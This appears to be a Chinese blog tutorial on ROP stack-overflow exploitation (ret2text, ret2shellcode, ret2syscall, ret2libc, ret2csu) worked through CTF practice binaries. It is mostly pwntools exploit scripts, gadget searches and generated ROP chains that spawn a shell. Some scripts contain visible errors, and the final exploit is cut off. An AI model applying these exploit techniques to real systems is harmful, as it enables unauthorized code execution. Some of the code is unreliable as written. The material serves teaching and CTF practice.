其实 这周末我原本是不想写文章的 主要是放假了
但是 我想往常一样登录了百度站长。。。。
站长平台
我去!!!!! 我的文章被索引了!!!!
所以呢 我决定多更新点文章出来 而且最近不是有人说看不懂吗 我觉得更新一些可以让人懂的一些东西
但是今天 我还决定把Ret2讲完
本次教学节选于星梦安全团队在Bilibili上发表的视频
部分转载于https://www.anquanke.com/post/id/205858#h2-2


url为 https://www.bilibili.com/video/BV1Uv411j7fr?p=9

所有内容作者手打(除了一些代码部分)如有错误请指出
如有侵权请联系本文作者

本次题目的下载链接:题目.rar

0x01 什么是ret2xx

在此本文中 RET2xxx泛指的是ret2text, ret2shellcode, ret2syscall,ret2libc,ret2csu 其中 ret2代表着因为中的”return to” 的谐音也就是我们可以从字面意思上知道 我们会利用类似我们上节课学到的利用eip指针的方法 来获取到权限 而其中 有很多种方法来做到

ROP

1
2
3
4
5
6
[*] '/home/retr0/Examples/overflow'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

随着时代的进步 关于栈的安全知识也越来越普及 其中 随着NX保护的开发 直接在Buffer中注入代码的方式已经被淘汰了 而现在比较流行的是ROP方法 也就是 Return Oriented Programming
rop
说到ROP ROP其实指的就是通过修改Gadgets的ret结尾的指令顺序 来实施攻击
有的时候 我们会结合几段gadget进行攻击
对于需要完成ROP攻击 我们需要一些的条件:

  1. 程序存在栈溢出 可以控制返回地址
  2. 可以找到满足条件的gadgets 而且知道gadgets的地址
    但是如果地址不是固定的 比如说开了NX 我们就得知道每次调试时的地址 别担心 我们可以配合gdb使用
    其中 如果我们需要多次使用漏洞 可以利用多个gadget配合做出漏洞利用

0x02 ret2text

什么是ret2text

ret2text, 说白了就是对于.text节的利用 我们会使用几个程序中已有的代码来进行攻击

进程存在危险函数如system(“/bin”)或execv(“/bin/sh”,0,0)的片段,可以直接劫持返回地址到目标函数地址上。从而getshell。

题目解析 jarvisoj_level2

首先我们Checksec我们的题目

1
2
3
4
5
6
[*] '/home/retr0/CTF/ret2xx/Qs/level2/level2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

我们可以看到 这个程序是开启了Nx的 那么我们知道Nx保护是的基本原理是将数据所在内存页标识为不可执行 当程序溢出成功转入shellcode时 程序会尝试在数据页面上执行指令 此时CPU就会抛出异常 而不是去执行恶意指令 但是 这些暂时不重要 我们先扔进IDA看一下

伪代码如下:

1
2
3
4
5
6
7
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]

system("echo Input:");
return read(0, &buf, 0x100u);
}

bin/sh

构造思路

我们可以看到 这里有一个很明显的栈溢出漏洞 其中 Read的值已经超过了buf的值 并且 这里也存在system函数和bin/sh字符串 那么 我们就可以构思攻击了
攻击思路
首先 我们首先需要填充缓存区0x88(因为溢出)
之后 我们需要在覆盖4个字符来覆盖ebp
然后 我们要函数返回值为system函数
紧接着 我们要填充函数调用的返回地址(‘c’ 4)如果你需要 可以一直执行main函数
*最后 我们只需要调整system函数的参数为bin/sh
就结束了

编写exp

exp代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
file_path='./level2'
context(binary=file_path,os='linux',terminal = ['tmux', 'sp', '-h'])
glibc_version="2.23"
_debug_=1

elf = ELF(file_path)
p = remote('node3.buuoj.cn',28124)
libc = ELF('../libc/u16/x86libc-2.23.so')
main_addr = 0x08048413680
binsh = 0x0804A024

payload = 'a' * 136 + 'b' *4 + p32(system_plt).decode('unicode_escape') +p32(main_addr).decode('unicode_escape') + p32(binsh).decode('unicode_escape')
gdb.attach('b' * 134513790)
p.sendafter('Input',payload)
p.interactive()

(可能会有点Bug 请谅解)

题目解析 jarvisojlevel2X86

这一题其实和上一题的区别就是这一题是64位的 而其中 漏洞的形成原因也差不多
但是 64位系统函数调用传参优先使用寄存器 rdi rsi rdx rcx r8 r9而且当参数大于6个使用栈
具体可以参考http://abcdxyzk.github.io/blog/2012/11/23/assembly-args/

当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。
当参数为7个以上时, 前 6 个与前面一样, 但后面的依次从 “右向左” 放入栈中,即和32位汇编一样。
参数个数大于 7 个的时候
H(a, b, c, d, e, f, g, h);
a->%rdi, b->%rsi, c->%rdx, d->%rcx, e->%r8, f->%r9
h->8(%esp)
g->(%esp)
call H

构造思路

x86思路

我们的思路是 前面几乎一样 之后首先设置返回地址为system函数 再通过pop rdi;ret设置rdi的值为/bin/sh字符串
对了 这里忘记说了 /bin/sh 是 Linux 默认的Shell目录(应该是的)

那么问题就来了 我们如何找到 pop rdi; ret?
其实 方法很多 但是这里分享两个方案:

ROPgadgets

什么是ROPgadgets

This tool lets you search your gadgets on your binaries to facilitate your ROP exploitation. ROPgadget supports ELF/PE/Mach-O format on x86, x64, ARM, ARM64, PowerPC, SPARC and MIPS architectures. Since the version 5, ROPgadget has a new core which is written in Python using Capstone disassembly framework for the gadgets search engine - The older version can be found in the Archives directory but it will not be maintained.

这个工具可以让你在二进制文件上搜索你的小工具,以方便你的ROP开发。ROPgadget支持x86、x64、ARM、ARM64、PowerPC、SPARC和MIPS架构的ELF/PE/Mach-O格式。自版本5以来,ROPgadget有了一个新的核心,它是用Python编写的,使用Capstone反汇编框架的小工具搜索引擎

我们可以使用ROPgadgets先获取程序中的Gadget 之后再grep 搜索
指令是ROPgadget --binary level2_x64 | grep 'pop rdi'
结果如下:

1
x00000000004006b3 : pop rdi ; ret

Ropper

Ropper也是一个很好的搜索gadgets工具 他的语法如下:

1
2
3
4
5
6
7
8
usage: ropper [-h] [--help-examples] [-v] [--console] [-f <file> [<file> ...]] [-r] [-a <arch>]
[--section <section>] [--string [<string>]] [--hex] [--asm [<asm> [H|S|R] [<asm> [H|S|R] ...]]]
[--disasm <opcode>] [--disassemble-address <address:length>] [-i] [-e] [--imagebase] [-c] [-s] [-S]
[--imports] [--symbols] [--set <option>] [--unset <option>] [-I <imagebase>] [-p] [-j <reg>]
[--stack-pivot] [--inst-count <n bytes>] [--search <regex>] [--quality <quality>]
[--opcode <opcode>] [--instructions <instructions>] [--type <type>] [--detailed] [--all]
[--cfg-only] [--chain <generator>] [-b <badbytes>] [--nocolor] [--clear-cache] [--no-load]
[--analyse <quality>] [--semantic constraint] [--count-of-findings <count of gadgets>] [--single]

其中 我们可以使用他的search 功能来寻找我们需要的gadgets 代码如下:ropper --file level2_x64 --search "pop rdi"
反馈如下:

1
2
3
4
5
6
7
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi

[INFO] File: level2_x64
0x00000000004006b3: pop rdi; ret;

编写exp

代码主体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import 
file_path='./level2_x64' # 设置路径
context(binary=file_path,os='linux',terminal = ['tmux', 'sp', '-h'])
glibc_version="2.23"
_debug_=1

elf = ELF(file_path)
#pwn.io init
if _debug_:
pwn_file="/glibc/%s/64/lib/ld-%s.so --library-path /glibc/%s/64/lib/ %s"%(glibc_version,glibc_version,glibc_version,file_path)
p = process(pwn_file.split())
libc = ELF('/glibc/%s/64/lib/libc-%s.so'%(glibc_version,glibc_version))
else:
p = remote('node3.buuoj.cn',28124)
libc = ELF('../libc/u16/x86libc-2.23.so')

system_plt = elf.plt['system'] # system 函数
pop_rdi_ret = 0x00000000004006b3 # pop rid ; ret 的地址
binsh = 0x600A90 #bin/sh字符串地址

payload = b'a'*0x80+b'b'*8 #首先填充0x8-的到rbp 之后再覆盖 ....
payload += p64(pop_rdi_ret)+p64(binsh)#设置rdi=bin/sh
payload += p64(system_plt)#ret到system_plt地址

p.sendafter('Input:',payload)
p.interactive()

对 就是这样了

0x03 ret2shellcode

ret2shellcode 即控制程序执行 shellcode 代码 shellcode 指的是用于完成某个功能的汇编代码
常见的功能主要是获取目标系统的 shell 一般来说 shellcode 需要我们自己填充

ret2shellcode

解析题目 jarvisoj_level1

那么我们拿到例题后 首先Checksec

1
2
3
4
5
6
7
[*] '/home/retr0/CTF/ret2xx/Qs/jarvisoj_level1/level1'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments #可读可写段

之后 我们再放入IDA中

1
2
3
4
5
6
7
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]

printf("What's this:%p?\n", &buf);
return read(0, &buf, 0x100u);
}

我们可以看到 read存在栈溢出 那么 我们就可以开始构造思路了

构造思路

流程图
好了 这里我就不多简绍了 知道基本的思路后 我们就可以开始编写exp了 但是 值得注意的是 buff的地址在一开始就给我们了 所以不需要解析地址之类的

EXP编写

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
#ret2shellcode
file_path='level1'
context(binary=file_path,os='linux',terminal = ['tmux', 'sp', '-h'])
p = process("level1")

p.recvuntil("What's this:")
buf = int(p.recv(10),16)#读取buff地址

shellcode = asm(shellcraft.sh())#生成shellcode
payload = shellcode
payload = payload.ljust(0x88+4,b'a') + p32(buf)#填充padding 并且覆盖返回地址为buf
#gdb.attach(p)
p.send(payload)
p.interactive()

0x04 retsyscall

retsyscall 顾名思义 是指通过系统调用来得到shell】
在上节课 我们学到过关于系统调用的知识 我们在关于Shellcode的课上有所提及过

[post cid=”27” cover=”https://blog.johnw1ck.com/img/shellcode.jpg"/]

而今天 我们在回顾一遍关于中断的知识


知识点:我们可以通过触发中断(int 0x80或者syscall)进行系统调用
原理如下

用户进程在执行系统调用前,先把系统调用名(实际上是系统调用号)、输入参数等放到寄存器上(EBX,ECX等寄存器)
然后发出int 0x80指令,即触发xxx号中断
系统暂停用户进程,根据xxx号中断找到中断服务程序,这个程序名就叫system_call()
system_call()接着执行。它会从寄存器中找到系统调用名、输入参数等,并根据系统调用上下文中找到引发系统调用的进程;执行完毕后它又会把输出结果放到寄存器中。
系统恢复用户进程,进程从寄存器中取到自己想要的东西,然后继续执行。


解析题目 inndy_rop

还是像往常一样 先 gdbChecksec 结果如下:

1
2
3
4
5
6
7
pwndbg> checksec
[*] '/home/retr0/CTF/ret2xx/Qs/inndy_rop/inndy_rop'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

伪代码如下:(overflow函数)

1
2
3
4
5
6
int overflow()
{
char v1; // [esp+Ch] [ebp-Ch]

return gets(&v1);
}

在这里 gets 函数是一定存在栈溢出的 因为会直到读到0x0A

这此因为讲到是需要使用系统调用的 所以咱们也file一下

1
2
retr0@DESKTOP-RS7CEJ9:~/CTF/ret2xx/Qs/inndy_rop$ file inndy_rop
inndy_rop: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=e9ed96cd1a8ea3af86b7b73048c909236d570d9e, not stripped

我们可以看到 这次的题目是静态编译的 所以会存在像 int 0x80这样的系统调用

之后 我们先看一下系统调用的一张表 详细可以去https://publicki.top/syscall.html来看
这里 我们主要看这两个

NR syscall name references arg0 (%ebx) arg1 (%ecx) arg2 (%edx) arg3 (%esi) arg4 (%edi) arg5 (%ebp)
0 read man/cs/ 0x00 unsigned int fd char *buf size_t count - -
59 execve man/cs/ 0x0b const char const argv const char const envp - - -

构造思路

我们可以看到这里 比如说read 需要修改eax寄存器为0x03 而 ebx为fd 还要设置地址和长度
所以这里 我们的思路就有了
做了半小时的图

Exp构造

不多说 先放Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
file_path='./inndy_rop'
context(binary=file_path,os='linux',terminal = ['tmux', 'sp', '-h'])
p = process('./inndy_rop')
#find gadgets
int_80_ret = 0x0806F430#int 0x80;ret ROPgadget无法找到 ropper --file inndy_rop --search "int 0x80"
pop_eax_ret = 0x080b8016# : pop eax ; ret #定义寄存器的地址
pop_ebx_ret = 0x080481c9# : pop ebx ; ret #定义寄存器的地址
pop_ecx_ret = 0x080de769# : pop ecx ; ret #定义寄存器的地址
pop_edx_ret = 0x0806ecda# : pop edx ; ret #定义寄存器的地址
bss = 0x80e9000 #这里选择bss段 因为可读可写

payload = b'a'*0xc+b'b'*4
#read(0,bss+0x100,8)
#eax = 3
#ebx = fd=0
#ecx = buf=bss+0x100
#edx = 8
payload += p32(pop_eax_ret)+p32(0x3)#eax=3
payload += p32(pop_ebx_ret)+p32(0x0)#ebx=fd=0
payload += p32(pop_ecx_ret)+p32(bss+0x100)#ecx=bss+0x100
payload += p32(pop_edx_ret)+p32(0x8)#edx=8 len('/bin/sh\x00') 读入长度
payload += p32(int_80_ret)
#execve("/bin/sh",0,0)
#eax=0xb
#ebx=bss+0x100
#ecx = 0
#edx = 0
payload += p32(pop_eax_ret)+p32(0xb)#eax=b
payload += p32(pop_ebx_ret)+p32(bss+0x100)#ebx=fd=1
payload += p32(pop_ecx_ret)+p32(0)#ecx=bss+0x00
payload += p32(pop_edx_ret)+p32(0)#edx=0 读入长度
payload += p32(int_80_ret)
#gdb.attach(p,'b *0x0806F430') 加上这个调试
p.sendline(payload)
print(payload)
sleep(1)
p.sendline('/bin/sh\x00')
p.interactive()

生产的payload的是b’aaaaaaaaaaaabbbb\x16\x80\x0b\x08\x03\x00\x00\x00\xc9\x81\x04\x08\x00\x00\x00\x00i\xe7\r\x08\x00\x91\x0e\x08\xda\xec\x06\x08\x08\x00\x00\x000\xf4\x06\x08\x16\x80\x0b\x08\x0b\x00\x00\x00\xc9\x81\x04\x08\x00\x91\x0e\x08i\xe7\r\x08\x00\x00\x00\x00\xda\xec\x06\x08\x00\x00\x00\x000\xf4\x06\x08’

自动生成 ROPchain

但是 问题又又来了 如果每次这样编写那要多麻烦?
没关系 其实。。。。 可以自动生成 哈哈哈
对于静态编译的程序 我们可以使用ROPgadgets或者ropper生成ropchain

Ropper

ropper --file inndy_rop --chain execveropper --file inndy_rop --chain execve

回馈结果:(你会发现和上面的一样)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%

[INFO] ROPchain Generator for syscall execve:


[INFO]
write command into data section
eax 0xb
ebx address to cmd
ecx address to null
edx address to null


[INFO] Try to create chain which fills registers without delete content of previous filled registers
[*] Try permuation 1 / 24
[INFO] Look for syscall gadget

[INFO] syscall gadget found
[INFO] generating rop chain
#!/usr/bin/env python
# Generated by ropper ropchain generator #
from struct import pack

p = lambda x : pack('I', x)

IMAGE_BASE_0 = 0x08048000 # 487729c3b55aaec43deb2af4c896b16f9dbd01f7e484054d1bb7f24209e2d3ae
rebase_0 = lambda x : p(x + IMAGE_BASE_0)

rop = ''

rop += rebase_0(0x00070016) # 0x080b8016: pop eax; ret;
rop += '//bi'
rop += rebase_0(0x00026cda) # 0x0806ecda: pop edx; ret;
rop += rebase_0(0x000a2060)
rop += rebase_0(0x0000c66b) # 0x0805466b: mov dword ptr [edx], eax; ret;
rop += rebase_0(0x00070016) # 0x080b8016: pop eax; ret;
rop += 'n/sh'
rop += rebase_0(0x00026cda) # 0x0806ecda: pop edx; ret;
rop += rebase_0(0x000a2064)
rop += rebase_0(0x0000c66b) # 0x0805466b: mov dword ptr [edx], eax; ret;
rop += rebase_0(0x00070016) # 0x080b8016: pop eax; ret;
rop += p(0x00000000)
rop += rebase_0(0x00026cda) # 0x0806ecda: pop edx; ret;
rop += rebase_0(0x000a2068)
rop += rebase_0(0x0000c66b) # 0x0805466b: mov dword ptr [edx], eax; ret;
rop += rebase_0(0x000001c9) # 0x080481c9: pop ebx; ret;
rop += rebase_0(0x000a2060)
rop += rebase_0(0x00096769) # 0x080de769: pop ecx; ret;
rop += rebase_0(0x000a2068)
rop += rebase_0(0x00026cda) # 0x0806ecda: pop edx; ret;
rop += rebase_0(0x000a2068)
rop += rebase_0(0x00070016) # 0x080b8016: pop eax; ret;
rop += p(0x0000000b)
rop += rebase_0(0x00027430) # 0x0806f430: int 0x80; ret;
print rop
[INFO] rop chain generated!

ROPgadgets

命令:ROPgadget --binary inndy_rop --ropchain(会加载一段时间 别担心 那不是ROPchain代码)
回馈代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
ROP chain generation
===========================================================

- Step 1 -- Write-what-where gadgets

[+] Gadget found: 0x8050cc5 mov dword ptr [esi], edi ; pop ebx ; pop esi ; pop edi ; ret
[+] Gadget found: 0x8048433 pop esi ; ret
[+] Gadget found: 0x8048480 pop edi ; ret
[-] Can't find the 'xor edi, edi' gadget. Try with another 'mov [r], r'

[+] Gadget found: 0x805466b mov dword ptr [edx], eax ; ret
[+] Gadget found: 0x806ecda pop edx ; ret
[+] Gadget found: 0x80b8016 pop eax ; ret
[+] Gadget found: 0x80492d3 xor eax, eax ; ret

- Step 2 -- Init syscall number gadgets

[+] Gadget found: 0x80492d3 xor eax, eax ; ret
[+] Gadget found: 0x807a66f inc eax ; ret

- Step 3 -- Init syscall arguments gadgets

[+] Gadget found: 0x80481c9 pop ebx ; ret
[+] Gadget found: 0x80de769 pop ecx ; ret
[+] Gadget found: 0x806ecda pop edx ; ret

- Step 4 -- Syscall gadget

[+] Gadget found: 0x806c943 int 0x80

- Step 5 -- Build the ROP chain

#!/usr/bin/env python2
# execve generated by ROPgadget

from struct import pack

# Padding goes here
p = ''

p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80

多么的贴心?!把步骤都给你写好了

0x05 ret2libc

ret2libc即控制函数的执行libc中的函数,通常是返回至某个函数的plt 处或者函数的具体位置(即函数对应的got 表项的内容)。一般情况下,我们会选择执行system(“/bin/sh”),故而此时我们需要知道system函数的地址

对于ret2libc 我们首先需要知道什么是libc

libc是Linux下的ANSI C的函数库。ANSI C是基本的C语言函数库,包含了C语言最基本的库函数。这个库可以根据 头文件划分为 15 个部分,其中包括:字符类型 ()、错误码()、 浮点常数 ()、数学常数 ()、标准定义 ()、 标准 I/O ()、工具函数 ()、字符串操作 ()、 时间和日期 ()、可变参数表 ()、信号 ()、 非局部跳转 ()、本地信息 ()、程序断言 ()

也就是说 libc中存放的都是使用过的函数 字符串等
那么如何查询libc呢
可以通过ldd [文件名查询libc文件]
libc的漏洞利用思路基本如下
思路

题目解析 jarvisoj_level1

在ret2shellcode中 我们已经做了关于本题目的分析

那么我们拿到例题后 首先Checksec

1
2
3
4
5
6
7
[*] '/home/retr0/CTF/ret2xx/Qs/jarvisoj_level1/level1'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments #可读可写段
1

之后 我们再放入IDA中

ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]

printf(“What’s this:%p?\n”, &buf);
return read(0, &buf, 0x100u);
}

思路

思路
(最后是利用栈溢出来执行system函数)
还有记住 利用libc查询(ldd)查询当前文件使用的libc

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
file_path='./level1'
context(binary=file_path,os='linux',terminal = ['tmux', 'sp', '-h'])
glibc_version="2.23"
_debug_=1

elf = ELF(file_path)
#pwn.io init
if _debug_:
pwn_file="/glibc/%s/32/lib/ld-%s.so --library-path /glibc/%s/32/lib/ %s"%(glibc_version,glibc_version,glibc_version,file_path)
p = process(pwn_file.split())
libc = ELF('/glibc/%s/32/lib/libc-%s.so'%(glibc_version,glibc_version))
else:
p = remote('node3.buuoj.cn',28124)
libc = ELF('../libc/u16/x86libc-2.23.so')

#common pack
su = lambda desp,value:success(desp+' => '+(hex(value) if type(value)==int else str(value)))
ru = lambda delim :p.recvuntil(delim)
rv = lambda count=1024,timeout=0:p.recv(count,timeout)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
ss = lambda data :p.send(data)
ssa = lambda delim,data :p.sendafter(delim, data)
u64leak=lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\0'))
u64leak2=lambda :u64(p.recv(6).ljust(8,b'\0'))

write_plt = elf.plt['write']
read_got = elf.got['read']
main_addr = 0x080484B7

#---------------payload部分--------------# #因为前面已经执行过read 所以会包含read的真实地址#
#V
payload = b'A'*0x88+b'B'*0x4+p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(4)#执行write 泄露read_got表
#gdb.attach(p,'b *0x080484B5')
p.sendafter("?",payload)
p.recvuntil('\n')
read_addr = u32(p.recv(4))
log.success("read_addr:{}".format(hex(read_addr)))
libc_base = read_addr - libc.symbols['read'] #通过read在libc的偏移找到libc的基地址
system = libc_base+libc.symbols['system'] #通过libc的基地址找到system函数的地址和bin/sh的地址
binsh = libc_base + next(libc.search(b'/bin/sh'))

log.success("libc_base:{}".format(hex(libc_base)))
log.success("system:{}".format(hex(system)))
log.success("binsh:{}".format(hex(binsh)))

payload2 = b'A'*0x88+b'B'*0x4+p32(system)+p32(main_addr)+p32(binsh) #再次触发后 覆盖为system + bin/sh地址

p.send(payload2)
p.interactive()

嗯嗯 就是这样 如果还有像学习关于libc的话 我有时间再出一次教程

0x06 ret2csu

在64 位程序中,函数的前6个参数是通过寄存器传递的 但是大多数时候 我们很难找到每一个寄存器对应的gadgets 这时候 我们可以利用 x64下的 __libc_csu_init 中的 gadgets 这个函数是用来对 libc 进行初始化操作的 而一般的程序都会调用libc 函数 所以这个函数一定会存在

也就是说 其实 ret2csu和利用libc的思路一样 都是包含的指令来达到目标

首先 我们先打开例题 Level5

ret2csu的灵魂之处体现在 gadget2 利用 gadget1 准备的数据来控制edi、rsi、rdx和控制跳转任意函数

例题解析 level5

首先checksec

1
2
3
4
5
6
7
pwndbg> checksec
[*] '/home/retr0/CTF/ret2xx/Qs/level5_x64/level5'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

发现只开了NX保护 其他都没开

漏洞函数

1
2
3
4
5
6
ssize_t vulnerable_function()
{
char buf; // [rsp+0h] [rbp-80h]

return read(0, &buf, 0x200uLL);
}

使用objdump -d ./level5 -M intel命令
有csu:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
00000000004005a0 <__libc_csu_init>:
4005a0: 48 89 6c 24 d8 mov QWORD PTR [rsp-0x28],rbp
4005a5: 4c 89 64 24 e0 mov QWORD PTR [rsp-0x20],r12
4005aa: 48 8d 2d 73 08 20 00 lea rbp,[rip+0x200873] # 600e24 <__init_array_end>
4005b1: 4c 8d 25 6c 08 20 00 lea r12,[rip+0x20086c] # 600e24 <__init_array_end>
4005b8: 4c 89 6c 24 e8 mov QWORD PTR [rsp-0x18],r13
4005bd: 4c 89 74 24 f0 mov QWORD PTR [rsp-0x10],r14
4005c2: 4c 89 7c 24 f8 mov QWORD PTR [rsp-0x8],r15
4005c7: 48 89 5c 24 d0 mov QWORD PTR [rsp-0x30],rbx
4005cc: 48 83 ec 38 sub rsp,0x38
4005d0: 4c 29 e5 sub rbp,r12
4005d3: 41 89 fd mov r13d,edi
4005d6: 49 89 f6 mov r14,rsi
4005d9: 48 c1 fd 03 sar rbp,0x3
4005dd: 49 89 d7 mov r15,rdx
4005e0: e8 1b fe ff ff call 400400 <_init>
4005e5: 48 85 ed test rbp,rbp
4005e8: 74 1c je 400606 <__libc_csu_init+0x66>
4005ea: 31 db xor ebx,ebx
4005ec: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
4005f0: 4c 89 fa mov rdx,r15
4005f3: 4c 89 f6 mov rsi,r14
4005f6: 44 89 ef mov edi,r13d
4005f9: 41 ff 14 dc call QWORD PTR [r12+rbx*8]
4005fd: 48 83 c3 01 add rbx,0x1
400601: 48 39 eb cmp rbx,rbp
400604: 75 ea jne 4005f0 <__libc_csu_init+0x50>
400606: 48 8b 5c 24 08 mov rbx,QWORD PTR [rsp+0x8]
40060b: 48 8b 6c 24 10 mov rbp,QWORD PTR [rsp+0x10]
400610: 4c 8b 64 24 18 mov r12,QWORD PTR [rsp+0x18]
400615: 4c 8b 6c 24 20 mov r13,QWORD PTR [rsp+0x20]
40061a: 4c 8b 74 24 28 mov r14,QWORD PTR [rsp+0x28]
40061f: 4c 8b 7c 24 30 mov r15,QWORD PTR [rsp+0x30]
400624: 48 83 c4 38 add rsp,0x38
400628: c3 ret
400629: 0f 1f 80 00 00 00 00 nop DWORD PTR [rax+0x0]

1
2
3
4
5
6
7
8
400606:       48 8b 5c 24 08          mov    rbx,QWORD PTR [rsp+0x8] //rsp + 8 赋值给了rbx 
40060b: 48 8b 6c 24 10 mov rbp,QWORD PTR [rsp+0x10] //rsp + 8 赋值给了rbp
400610: 4c 8b 64 24 18 mov r12,QWORD PTR [rsp+0x18]
400615: 4c 8b 6c 24 20 mov r13,QWORD PTR [rsp+0x20]
40061a: 4c 8b 74 24 28 mov r14,QWORD PTR [rsp+0x28]
40061f: 4c 8b 7c 24 30 mov r15,QWORD PTR [rsp+0x30]
400624: 48 83 c4 38 add rsp,0x38
400628: c3 ret

这里可以看到rbx、rbp、r12、r13、r14、r15 可以由栈上rsp偏移+0x8 、+0x10、+0x20、+0x28、+0x30来决定

1
2
3
4
4005f0:       4c 89 fa                mov    rdx,r15
4005f3: 4c 89 f6 mov rsi,r14
4005f6: 44 89 ef mov edi,r13d
4005f9: 41 ff 14 dc call QWORD PTR [r12+rbx*8]

可以看到我们的rdx、rsi、edi 可以由r15、r14、r13低32位来控制,call 由r12+rbx*8来控制,而这些值恰恰是我们gadget1可以控制的值


我们可以得知 read存在栈溢出 程序也没有后门函数 & /bin/sh 字符串 而且几乎也没有什么可以利用的 gadgets 所以 我们只能利用csu中的数据来控制edi、rsi、rdx和控制跳转任意函数

思路构造

思路如下
思路:利用ret2csu

1.write(1,write_got,8)泄露libc

2.read(0,bss,16)写入system地址和/bin/sh字符串

3.system(‘/bin/sh’) getshell

exp构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *
file_path='./level5'
context(binary=file_path,os='linux',terminal = ['tmux', 'sp', '-h'])
p = process(file_path)
elf = ELF(file_path)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
main_addr = 0x400564
write_got = elf.got['write']
read_got = elf.got['read']
gadget1 = 0x400606
gadget2 = 0x4005F0
bss_addr = 0x601028

#payload = b'A'*0x80+b'B'*8+p64(gadget1)+b'C'*8+b'D'*8+b'E'*8+b'F'*8+b'G'*8+b'H'*8#show how to set register
#######################leak libc###############################
payload1 = b'A'*0x80+b'B'*8 #padding
payload1 += p64(gadget1) #ret
payload1 += p64(0) #rsp
payload1 += p64(0) #rbx
payload1 += p64(1) #rbp
payload1 += p64(write_got) #r12
payload1 += p64(1) #r13 edi
payload1 += p64(write_got) #r14 rsi
payload1 += p64(8) #r15 rdx
payload1 += p64(gadget2)
payload1 += b'\x00'*0x38 #padding
payload1 += p64(main_addr) #等待第二次触发漏洞
#gdb.attach(p,'b *0x400562')
p.sendafter('Hello, World\n',payload1)

write_addr = u64(p.recv(8))
libc_base = write_addr - libc.sym['write']
system_addr = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
